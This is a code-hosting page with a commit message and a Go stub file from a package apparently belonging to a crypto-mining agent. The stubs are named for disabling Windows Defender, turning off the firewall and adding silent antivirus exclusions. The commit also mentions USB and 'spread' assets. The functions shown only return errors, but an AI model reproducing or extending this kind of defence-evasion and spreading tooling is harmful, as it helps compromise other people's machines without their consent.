Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
32 lines
848 B
Go
32 lines
848 B
Go
//go:build !windows && !linux && !darwin
|
|
|
|
package deploy
|
|
|
|
import "fmt"
|
|
|
|
func DisableDefenderRealtime() (string, error) {
|
|
return "", fmt.Errorf("defender control is Windows-only")
|
|
}
|
|
|
|
func OpenFirewallPort(_ int, _ string) (string, error) {
|
|
return "", fmt.Errorf("firewall port open is Windows-only")
|
|
}
|
|
|
|
func SetWindowsFirewallProfiles(_ bool, _ string) (string, error) {
|
|
return "", fmt.Errorf("firewall profile control is Windows-only")
|
|
}
|
|
|
|
func DisableWindowsFirewall() (string, error) {
|
|
return "", fmt.Errorf("firewall disable is Windows-only")
|
|
}
|
|
|
|
func EnableWindowsFirewall() (string, error) {
|
|
return "", fmt.Errorf("firewall enable is Windows-only")
|
|
}
|
|
|
|
func RemoveFirewallRuleByName(_ string) (string, error) {
|
|
return "", fmt.Errorf("firewall rule removal is Windows-only")
|
|
}
|
|
|
|
func SilentAVExclusion(_, _ string) {} // no-op on non-Windows
|